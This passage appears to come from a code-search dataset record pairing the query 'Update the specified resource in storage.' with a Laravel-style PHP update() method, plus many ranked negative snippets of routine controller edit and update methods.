'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { $rules = array( 'description' => 'required|string|max:255', 'type' => 'required|in:goods, service', 'hsn' => 'required|regex:/\d{8}/', 'sku' => 'required|alpha_dash', 'taxRate' => 'required', 'cessValue' => 'required', 'saleValue' => 'required', 'unit' => 'required', 'discountRate' => 'required', ); $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { toast('Rectify errors and re-submit!','error','top-right')->autoclose(3500); return Redirect::to('products/' . $id . '/edit') ->withErrors($validator) ->withInput($request->input()); } else { Account::whereId($id)->update($request->except('_token', '_method')); // redirect toast('Account Updated Successfully!','success','top-right')->autoclose(3500); return Redirect::to('products'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n 